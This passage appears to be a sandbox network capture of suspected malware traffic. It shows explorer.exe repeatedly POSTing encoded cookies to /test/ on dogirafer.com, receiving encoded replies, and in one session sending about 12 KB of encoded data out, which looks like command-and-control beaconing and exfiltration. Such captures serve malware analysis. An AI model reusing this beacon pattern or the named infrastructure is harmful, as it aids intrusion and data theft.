150OySZRcqx3YpnZR3ehWeszn5NPkvWBU6va/axuiDOKRib7xuPoA21j4bUiz5sJU8uepOOglclDLG2te0NtJOorMw/giRWHWBP7svsDGl1dHEsQQn2uYSJDCHRq3cMNJkc4r84xUK0u/CbX2shoAmlBhv4EsswB+rlInMYaLTHcnclq4VF71HYDhkpgUk4N1MLOcC9ev77bVeMe36xUXnWfgFXfybl2QBhSrcVl4+Vnq0DM8eZv9PeBfNST5
2024-12-02 17:45:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49972	104.21.68.89	443	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-02 17:45:09 UTC	410	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: aXLYGobmm+hjdViRxTPtzmAYfxODCVLcbPy2vCfMYFSg6m741x7W74yYwzVuV08oc+L33B0vDqTu8/JSvpK54Ytrr38FQTZAvp/2bg1TAFoNUkz67MPOTGTcsGxGZcpO8bgvihL3rbWBQnlm4x64W3ORV5FvWue3fktILuaWLzMztNgb User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: dogirafer.com Content-Length: 0 Cache-Control: no-cache
2024-12-02 17:45:12 UTC	782	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 17:45:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jRkskUANNafWbJKgWYT1eNuqX68738gDGp%2BOekoHyWDWZ2mOc6Oizp9R88sXj%2Fprn0y6jHzxAcftzRSkQ0p91LS1ZiMBVcAfmgKNXghKidxVR1Vh4OSqGjgdGGrlmGob"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ebd210d9cdaab57-YYZ alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=13829&min_rtt=13823&rtt_var=5196&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2831&recv_bytes=1048&delivery_rate=210450&cwnd=32&unsent_bytes=0&cid=82b6558e3c8da119&ts=2556&x=0"
2024-12-02 17:45:12 UTC	343	IN	Data Raw: 31 35 30 0d 0a 4f 79 2b 61 51 63 47 33 33 34 70 67 61 78 76 51 67 47 54 6f 67 33 39 4a 4f 55 4c 66 42 43 4c 43 5a 76 65 37 75 43 54 50 59 32 6d 63 70 68 53 47 70 42 36 79 69 4a 69 56 6a 41 31 71 4c 6b 63 73 66 35 54 6e 37 46 6b 68 43 62 4f 39 75 61 42 47 74 35 47 70 6f 38 73 38 36 6b 35 56 47 47 4e 46 37 38 61 6f 66 57 34 71 63 32 38 7a 62 6b 57 36 72 5a 69 4a 43 43 4b 59 76 6e 64 52 49 35 30 4a 38 37 67 2f 30 6c 47 34 2b 4c 32 58 58 53 6c 36 73 52 2b 69 58 54 6e 2f 4b 63 45 7a 41 75 6a 6a 4a 42 52 2b 61 62 44 4a 66 48 67 73 35 38 74 45 37 31 50 66 43 52 68 4f 37 45 38 2b 4d 6c 6f 4e 4f 63 43 39 65 76 37 37 62 56 65 4d 65 33 36 78 55 58 6e 57 66 67 46 58 66 79 62 6c 32 51 42 68 53 72 63 56 6c 34 2b 56 6e 71 30 44 4d 38 65 5a 76 39 50 65 42 66 39 58 51 5a Data Ascii: 150Oy+aQcG334pgaxvQgGTog39JOULfBCLCZve7uCTPY2mcphSGpB6yiJiVjA1qLkcsf5Tn7FkhCbO9uaBGt5Gpo8s86k5VGGNF78aofW4qc28zbkW6rZiJCCKYvndRI50J87g/0lG4+L2XXSl6sR+iXTn/KcEzAujjJBR+abDJfHgs58tE71PfCRhO7E8+MloNOcC9ev77bVeMe36xUXnWfgFXfybl2QBhSrcVl4+Vnq0DM8eZv9PeBf9XQZ
2024-12-02 17:45:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49980	104.21.68.89	443	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-02 17:45:13 UTC	410	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: aXLYGobmm+hgdViRxTPtzmAYfxODCVLcbPy2vCfMYFSg6m741x7W74yYwzVuV08oc+L33B0vDqTu8/JSvpK54Ytrr38FQTZAvp/2bg1TAFoNUkz67MPOTGTcsGxGZcpO8bgvihL3rbWBQnlm4x64W3ORV5FvWue3fktILuaWLzMztNgb User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: dogirafer.com Content-Length: 0 Cache-Control: no-cache
2024-12-02 17:45:15 UTC	791	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 17:45:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RlfWRwafuS7SV2OwM1%2FwBLSRv8BNupIrulJI3Xfg%2BfaK%2BBD9O9U2YwMPJbJllw6%2Bhu%2FzsNTRnUmep1xNQrZxuKk%2FTQUZSAznwzByAxJ6MO%2FC4plfARGAq2AcW0RtrxO5"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ebd212669620f7c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1521&min_rtt=1516&rtt_var=579&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2829&recv_bytes=1048&delivery_rate=1872995&cwnd=226&unsent_bytes=0&cid=80ff5981ca59dd9e&ts=1637&x=0"
2024-12-02 17:45:15 UTC	343	IN	Data Raw: 31 35 30 0d 0a 4f 79 71 5a 54 63 65 77 32 6f 70 6c 5a 42 76 63 6a 47 62 6e 67 33 52 4c 4f 45 50 66 42 53 44 43 5a 76 69 32 76 53 66 4a 5a 32 6d 63 70 68 53 47 70 42 36 79 69 4a 69 56 6a 41 31 70 49 45 38 69 66 5a 76 6d 37 46 59 6b 44 37 47 39 73 36 46 47 74 4a 65 76 72 4d 6b 37 35 45 35 64 47 47 5a 4b 37 73 71 68 66 57 34 71 63 32 38 7a 62 6b 57 36 72 5a 69 4a 43 43 4b 59 76 6e 64 52 49 35 30 4a 38 37 67 2f 30 6c 47 34 2b 4c 32 58 58 53 6c 36 73 52 2b 69 58 54 6e 2f 4b 63 73 32 42 2b 72 6e 4a 52 56 2b 62 72 58 49 66 48 4d 71 34 63 74 41 36 46 54 55 43 52 31 4f 37 45 77 36 4d 56 67 4c 4f 6f 72 4d 66 61 48 38 63 30 69 6a 4e 6a 4f 6c 54 58 6e 53 66 55 68 43 66 32 33 75 30 51 35 36 57 62 41 57 67 4e 50 59 6b 71 39 42 61 4e 61 50 75 49 6a 38 41 73 31 56 52 70 Data Ascii: 150OyqZTcew2oplZBvcjGbng3RLOEPfBSDCZvi2vSfJZ2mcphSGpB6yiJiVjA1pIE8ifZvm7FYkD7G9s6FGtJevrMk75E5dGGZK7sqhfW4qc28zbkW6rZiJCCKYvndRI50J87g/0lG4+L2XXSl6sR+iXTn/Kcs2B+rnJRV+brXIfHMq4ctA6FTUCR1O7Ew6MVgLOorMfaH8c0ijNjOlTXnSfUhCf23u0Q56WbAWgNPYkq9BaNaPuIj8As1VRp
2024-12-02 17:45:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49986	104.21.68.89	443	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-02 17:45:16 UTC	410	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: aXLYGobmm+hhdViRxTPtzmAYfxODCVLcbPy2vCfMYFSg6m741x7W74yYwzVuV08oc+L33B0vDqTu8/JSvpK54Ytrr38FQTZAvp/2bg1TAFoNUkz67MPOTGTcsGxGZcpO8bgvihL3rbWBQnlm4x64W3ORV5FvWue3fktILuaWLzMztNgb User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: dogirafer.com Content-Length: 0 Cache-Control: no-cache
2024-12-02 17:45:18 UTC	785	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 17:45:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rURcdDUxMDsVGcx4MFrURWj55II4ejMEMeGoRSz73%2BdyG%2Fit0RmeJ7xp9lkES%2Bb9m%2FjW6QC8aTAvXHT3GhTQvuaJq6M1Rem7jA9oueB1yjryNsFPqgsMgyEE6romlbK1"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ebd213b7a4043c3-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1712&min_rtt=1710&rtt_var=646&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2830&recv_bytes=1048&delivery_rate=1685912&cwnd=211&unsent_bytes=0&cid=d661f53d6cebb1f0&ts=1756&x=0"
2024-12-02 17:45:18 UTC	343	IN	Data Raw: 31 35 30 0d 0a 4f 53 6d 55 52 38 43 37 33 49 70 75 59 52 7a 66 67 47 37 6f 67 33 35 4f 50 6b 33 56 41 6b 36 75 5a 76 32 77 76 43 62 49 4b 52 69 62 37 78 75 50 6f 41 32 31 6a 34 62 55 69 7a 4a 75 49 30 41 72 65 70 4b 4f 68 56 73 69 43 62 43 33 73 75 30 4f 74 5a 43 6f 70 63 6f 34 67 69 64 52 48 6d 70 4e 37 63 48 73 44 47 6c 31 64 48 45 73 51 51 6e 32 75 59 53 4a 44 43 48 52 71 33 63 4d 4e 4a 6b 63 34 72 38 34 78 55 4b 30 75 2f 43 62 58 32 73 68 6f 41 6d 6c 42 68 76 34 45 4d 41 34 44 4f 4c 68 49 58 4d 5a 62 37 54 46 66 6e 41 72 71 34 35 42 36 46 48 63 41 42 67 70 68 6b 45 31 4e 46 6f 4b 4f 73 43 39 65 76 37 37 62 56 65 4d 65 33 36 78 55 58 6e 57 66 67 46 58 66 79 62 6c 32 51 42 68 53 72 63 56 6c 34 2b 56 6e 71 30 44 4d 38 65 5a 76 39 50 65 42 66 35 62 51 5a Data Ascii: 150OSmUR8C73IpuYRzfgG7og35OPk3VAk6uZv2wvCbIKRib7xuPoA21j4bUizJuI0ArepKOhVsiCbC3su0OtZCopco4gidRHmpN7cHsDGl1dHEsQQn2uYSJDCHRq3cMNJkc4r84xUK0u/CbX2shoAmlBhv4EMA4DOLhIXMZb7TFfnArq45B6FHcABgphkE1NFoKOsC9ev77bVeMe36xUXnWfgFXfybl2QBhSrcVl4+Vnq0DM8eZv9PeBf5bQZ
2024-12-02 17:45:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49995	104.21.68.89	443	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-02 17:45:20 UTC	410	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: aXLYGobmm+hudViRxTPtzmAYfxODCVLcbPy2vCfMYFSg6m741x7W74yYwzVuV08oc+L33B0vDqTu8/JSvpK54Ytrr38FQTZAvp/2bg1TAFoNUkz67MPOTGTcsGxGZcpO8bgvihL3rbWBQnlm4x64W3ORV5FvWue3fktILuaWLzMztNgb User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: dogirafer.com Content-Length: 0 Cache-Control: no-cache
2024-12-02 17:45:21 UTC	787	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 17:45:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=PFgjLGC0TndqGRU9eAEIcG87F4aey85tAAjoHiB2f8%2BcQDQIwlgv3v%2BOmu8S8pxlcbQ6nLTO8%2BG%2FsGTcgDrp5FMwFG9zVtjHMCZNDduaOb2lczkysc%2F7NzD3IEhNU1YA"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ebd214e1aefc44f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1513&min_rtt=1501&rtt_var=587&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2830&recv_bytes=1048&delivery_rate=1828428&cwnd=251&unsent_bytes=0&cid=46daa7eef1c2d574&ts=1618&x=0"
2024-12-02 17:45:21 UTC	343	IN	Data Raw: 31 35 30 0d 0a 50 43 57 62 52 63 53 33 33 59 70 76 59 42 76 63 68 47 44 67 67 33 64 50 4f 45 6a 65 42 43 50 43 62 50 2b 77 75 53 58 4a 62 57 6d 63 70 68 53 47 70 42 36 79 69 4a 69 56 6a 41 31 72 4a 45 4d 70 65 4a 62 67 37 46 63 69 41 62 71 39 73 36 42 47 73 70 71 71 72 63 77 39 35 45 35 54 47 6d 4e 4b 37 73 53 68 66 57 34 71 63 32 38 7a 62 6b 57 36 72 5a 69 4a 43 43 4b 59 76 6e 64 52 49 35 30 4a 38 37 67 2f 30 6c 47 34 2b 4c 32 58 58 53 6c 36 73 52 2b 69 58 54 6e 2f 4b 63 6b 7a 42 2b 72 71 4a 52 68 2b 62 37 54 46 66 58 6b 72 34 38 74 48 37 31 62 66 43 78 42 44 37 45 38 38 4f 56 34 4e 50 59 33 4d 66 61 48 38 63 30 69 6a 4e 6a 4f 6c 54 58 6e 53 66 55 68 43 66 32 33 75 30 51 35 36 57 62 41 57 67 4e 50 59 6b 71 39 42 61 4e 61 50 75 49 6a 38 41 73 31 58 52 4a Data Ascii: 150PCWbRcS33YpvYBvchGDgg3dPOEjeBCPCbP+wuSXJbWmcphSGpB6yiJiVjA1rJEMpeJbg7FciAbq9s6BGspqqrcw95E5TGmNK7sShfW4qc28zbkW6rZiJCCKYvndRI50J87g/0lG4+L2XXSl6sR+iXTn/KckzB+rqJRh+b7TFfXkr48tH71bfCxBD7E88OV4NPY3MfaH8c0ijNjOlTXnSfUhCf23u0Q56WbAWgNPYkq9BaNaPuIj8As1XRJ
2024-12-02 17:45:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49999	104.21.68.89	443	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-02 17:45:23 UTC	414	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: aXLYGobmm+hvdViRxTPtzGAYfxODCVLcbPy2vCfMYFSg6m741x7W74yYwzVuV08oc+L33B0vDqTu8/JSvpK54Ytrr38FQTZAvp/2bg1TAFoNUkz67MPOTGTcsGxGZcpO8bgvihL3rbWBQnlm4x64W3ORV5FvWue3fktILuaWLzMztNgb User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: dogirafer.com Content-Length: 12232 Cache-Control: no-cache
2024-12-02 17:45:23 UTC	12232	OUT	Data Raw: 4c 48 54 64 46 35 33 74 6a 37 77 78 62 6d 69 35 78 51 36 78 71 48 4d 55 61 45 6d 44 54 6c 6a 59 4d 35 2f 4c 79 31 69 4b 4e 33 6a 4c 33 41 33 35 74 79 61 35 68 5a 69 70 34 7a 56 71 57 44 52 39 65 75 69 59 38 43 39 31 61 38 57 32 2b 2f 56 35 77 65 7a 47 77 38 6c 69 6c 46 4a 51 53 78 38 55 6e 6f 62 5a 51 6c 64 48 61 6c 51 2b 53 48 44 4a 35 5a 65 78 46 52 4f 65 7a 52 74 4b 4e 72 51 42 78 71 67 55 38 30 79 2b 32 4e 65 74 41 77 6b 76 6e 45 6d 56 65 48 6d 56 61 72 74 43 5a 62 6d 2b 66 56 68 34 42 4d 33 46 41 77 52 50 6f 74 51 50 6e 44 61 4a 62 33 4d 62 30 69 46 71 5a 69 4a 37 4f 74 76 38 47 65 72 63 61 45 66 45 4c 55 36 77 5a 48 6a 76 54 67 38 66 48 79 76 4c 38 43 70 36 61 72 59 35 6f 4a 53 41 71 34 64 35 49 50 53 69 70 34 75 4a 58 49 59 57 50 2b 53 6e 45 6d 58 Data Ascii: LHTdF53tj7wxbmi5xQ6xqHMUaEmDTljYM5/Ly1iKN3jL3A35tya5hZip4zVqWDR9euiY8C91a8W2+/V5wezGw8lilFJQSx8UnobZQldHalQ+SHDJ5ZexFROezRtKNrQBxqgU80y+2NetAwkvnEmVeHmVartCZbm+fVh4BM3FAwRPotQPnDaJb3Mb0iFqZiJ7Otv8GercaEfELU6wZHjvTg8fHyvL8Cp6arY5oJSAq4d5IPSip4uJXIYWP+SnEmX
2024-12-02 17:45:24 UTC	789	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 17:45:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Uk74ygKa1nEoMgfiXQ%2Fe%2F%2FLgcrVEvS2HBx1ZpfQEkdZnNgOMMBSpwlj69cPiybnSIGCKKCYyIVeZy9hVu2KH1abz5d8TA654mYxow2nD%2FQTrTnbIATpq5uAfmQhUk%2FGH"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ebd21600ca14309-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1751&min_rtt=1751&rtt_var=657&sent=8&recv=17&lost=0&retrans=0&sent_bytes=2829&recv_bytes=13328&delivery_rate=1667618&cwnd=232&unsent_bytes=0&cid=678d627545184e58&ts=1579&x=0"
2024-12-02 17:45:24 UTC	580	IN	Data Raw: 32 34 38 0d 0a 4f 43 6d 5a 51 73 57 79 32 34 70 6e 61 78 76 59 68 32 65 73 7a 58 39 48 4d 30 7a 58 61 79 61 6b 61 66 79 79 76 43 61 41 57 42 2b 6f 6d 32 4c 39 32 57 2f 54 67 76 50 74 73 54 56 76 4a 30 46 6d 66 4a 50 67 68 31 6f 72 44 39 32 35 74 71 4d 4d 74 5a 4f 6f 36 50 55 45 37 43 42 51 47 57 74 4b 37 4b 79 6f 4e 56 63 51 45 51 70 4a 51 51 75 2f 35 4d 6a 4a 52 57 47 30 74 6d 31 47 5a 4d 70 59 76 36 46 51 76 52 62 73 70 4b 44 4d 41 58 45 4b 39 6b 6a 6f 47 69 48 43 47 34 51 31 42 4f 7a 6a 4b 42 38 56 41 37 50 4a 65 58 6b 74 35 49 59 4b 30 32 6a 5a 43 78 70 4f 69 30 38 2b 58 6c 77 4e 50 6f 57 44 52 4e 65 63 45 54 44 44 66 54 62 74 65 6a 6d 58 4f 77 74 4c 5a 48 58 32 73 32 4d 71 48 2b 68 44 31 70 48 43 72 76 4d 5a 66 35 58 64 38 73 36 76 50 76 46 62 51 35 Data Ascii: 248OCmZQsWy24pnaxvYh2eszX9HM0zXayakafyyvCaAWB+om2L92W/TgvPtsTVvJ0FmfJPgh1orD925tqMMtZOo6PUE7CBQGWtK7KyoNVcQEQpJQQu/5MjJRWG0tm1GZMpYv6FQvRbspKDMAXEK9kjoGiHCG4Q1BOzjKB8VA7PJeXkt5IYK02jZCxpOi08+XlwNPoWDRNecETDDfTbtejmXOwtLZHX2s2MqH+hD1pHCrvMZf5Xd8s6vPvFbQ5
2024-12-02 17:45:24 UTC	11	IN	Data Raw: 6d 43 4e 59 46 6b 37 63 3d 0d 0a Data Ascii: mCNYFk7c=
2024-12-02 17:45:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	50000	104.21.68.89	443	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-02 17:45:25 UTC	414	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: aXLYGobmm+hnYwqczCa1wndZbQ+OUCzeHv2wuiTNZSDQnRHz02mh6/ifwEVsJjYieJqQlQFhBbSp4ONZ656uso19uGMKTT4Y4pL8ZwxOVRsYT1b/oc3OT2Lds2xKacxaoas4xR7ou6vSRzRo9ly1QGSXQIxpW7TudUNGNfWRLCRv+dQZsw== User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: dogirafer.com Content-Length: 0 Cache-Control: no-cache
2024-12-02 17:45:27 UTC	788	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 17:45:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=iPAyb2yxmj%2FtdhY4cI7JoI24DIcV3HLk%2Bb9gUBLNSK4bQ6RpaZpqf1CkDPfwhrMDg%2FWryufWwPDhkNVeyiUrUK1gLi5rhNbeLHRRmhd%2Fv%2B5oU8AvTlbmyHb4xiNoLOjQ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ebd21734e0eebb6-YYZ alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=14007&min_rtt=13907&rtt_var=5287&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2830&recv_bytes=1052&delivery_rate=209966&cwnd=32&unsent_bytes=0&cid=5aca874b8741a559&ts=1607&x=0"
2024-12-02 17:45:27 UTC	343	IN	Data Raw: 31 35 30 0d 0a 4d 79 6d 62 51 38 71 78 33 34 70 69 5a 68 6a 64 68 32 43 73 7a 48 52 48 4f 30 72 51 42 45 36 6f 61 66 36 7a 75 53 62 49 4b 52 69 62 37 78 75 50 6f 41 32 31 6a 34 62 55 69 7a 56 6d 4c 30 34 6f 63 35 75 4f 68 56 77 6d 44 37 53 36 75 4f 30 44 73 70 47 74 6f 73 78 52 37 69 6c 52 48 57 64 4f 36 59 2b 64 43 7a 5a 79 61 6d 34 44 44 55 58 69 70 59 53 4e 44 32 6a 45 71 79 6f 62 4d 49 77 4e 35 62 67 76 31 6b 37 33 39 76 79 5a 48 54 41 77 74 67 37 2b 4a 42 7a 4c 46 38 30 77 42 65 7a 67 54 68 6f 59 5a 4c 66 44 66 48 68 68 34 59 4e 43 36 46 50 61 43 33 5a 41 68 55 6b 39 4d 56 30 41 63 72 47 36 4a 66 6e 6c 63 6e 6a 42 4e 6d 71 74 55 58 33 56 4e 78 52 58 4e 43 33 74 31 78 74 79 54 62 51 43 79 38 4b 5a 6e 4f 39 59 49 74 47 65 35 50 48 5a 50 66 42 61 51 70 Data Ascii: 150MymbQ8qx34piZhjdh2CszHRHO0rQBE6oaf6zuSbIKRib7xuPoA21j4bUizVmL04oc5uOhVwmD7S6uO0DspGtosxR7ilRHWdO6Y+dCzZyam4DDUXipYSND2jEqyobMIwN5bgv1k739vyZHTAwtg7+JBzLF80wBezgThoYZLfDfHhh4YNC6FPaC3ZAhUk9MV0AcrG6JfnlcnjBNmqtUX3VNxRXNC3t1xtyTbQCy8KZnO9YItGe5PHZPfBaQp
2024-12-02 17:45:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	50001	104.21.68.89	443	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-02 17:45:29 UTC	414	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: aXLYGobmm+hnYgqczCa1wndZbQ+OUCzeHv2wuiTNZSDQnRHz02mh6/ifwEVsJjYieJqQlQFhBbSp4ONZ656uso19uGMKTT4Y4pL8ZwxOVRsYT1b/oc3OT2Lds2xKacxaoas4xR7ou6vSRzRo9ly1QGSXQIxpW7TudUNGNfWRLCRv+dQZsw== User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: dogirafer.com Content-Length: 0 Cache-Control: no-cache
2024-12-02 17:45:31 UTC	791	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 17:45:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2VKnkmbrIXro8vboiQrFX0SmPcFH5F65oyn%2Fr6KGI6jb0%2FrQkCpmiszaKfpcULgEg%2Bm4qNyqO30tS16Z3T5jb25pnS%2F0s%2BwTDI4plLadjdpuAlG14GMTG%2B6KhLK%2F4AeM"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ebd218b291742fd-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1778&min_rtt=1749&rtt_var=714&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2830&recv_bytes=1052&delivery_rate=1471774&cwnd=247&unsent_bytes=0&cid=a40c0605d0ab3b99&ts=1631&x=0"
2024-12-02 17:45:31 UTC	343	IN	Data Raw: 31 35 30 0d 0a 4f 53 6d 61 52 38 53 78 32 49 70 76 61 78 33 66 67 47 58 70 67 33 39 4f 4d 6b 7a 54 42 69 4c 43 62 76 75 77 74 79 2f 4b 5a 32 6d 63 70 68 53 47 70 42 36 79 69 4a 69 56 6a 41 31 70 49 6b 4d 69 65 4a 4c 69 37 46 6f 72 43 72 71 38 75 4b 52 47 73 5a 71 6f 70 73 73 33 37 6b 35 64 47 6d 64 4d 37 73 53 67 66 57 34 71 63 32 38 7a 62 6b 57 36 72 5a 69 4a 43 43 4b 59 76 6e 64 52 49 35 30 4a 38 37 67 2f 30 6c 47 34 2b 4c 32 58 58 53 6c 36 73 52 2b 69 58 54 6e 2f 4b 63 6f 79 42 2b 72 67 4a 52 52 2b 61 62 48 47 65 6e 55 71 35 4d 74 50 35 6c 50 61 41 52 42 42 37 45 73 2f 4d 6c 38 41 50 73 43 39 65 76 37 37 62 56 65 4d 65 33 36 78 55 58 6e 57 66 67 46 58 66 79 62 6c 32 51 42 68 53 72 63 56 6c 34 2b 56 6e 71 30 44 4d 38 65 5a 76 39 50 65 42 66 52 51 51 70 Data Ascii: 150OSmaR8Sx2Ipvax3fgGXpg39OMkzTBiLCbvuwty/KZ2mcphSGpB6yiJiVjA1pIkMieJLi7ForCrq8uKRGsZqopss37k5dGmdM7sSgfW4qc28zbkW6rZiJCCKYvndRI50J87g/0lG4+L2XXSl6sR+iXTn/KcoyB+rgJRR+abHGenUq5MtP5lPaARBB7Es/Ml8APsC9ev77bVeMe36xUXnWfgFXfybl2QBhSrcVl4+Vnq0DM8eZv9PeBfRQQp
2024-12-02 17:45:31 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	50002	104.21.68.89	443	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-02 17:45:32 UTC	414	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: aXLYGobmm+hnYQqczCa1wndZbQ+OUCzeHv2wuiTNZSDQnRHz02mh6/ifwEVsJjYieJqQlQFhBbSp4ONZ656uso19uGMKTT4Y4pL8ZwxOVRsYT1b/oc3OT2Lds2xKacxaoas4xR7ou6vSRzRo9ly1QGSXQIxpW7TudUNGNfWRLCRv+dQZsw== User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: dogirafer.com Content-Length: 0 Cache-Control: no-cache
2024-12-02 17:45:34 UTC	793	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 17:45:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2F9VqhO1VuQaDoH1WUpLl%2FGS98rh5ogpLKLb%2Fl4C3GeZxnW9HVMonD%2BsjKcNKAyG6yahJ%2FQmgBseABiyjUBGfqL4Az3Xq0s%2Frqyet8XvufDWxujJm7uGkXaIy%2BItagERd"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ebd219e0db1ab1e-YYZ alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=30481&min_rtt=14309&rtt_var=16461&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2830&recv_bytes=1052&delivery_rate=204067&cwnd=32&unsent_bytes=0&cid=39119e3bc3a163f7&ts=1621&x=0"
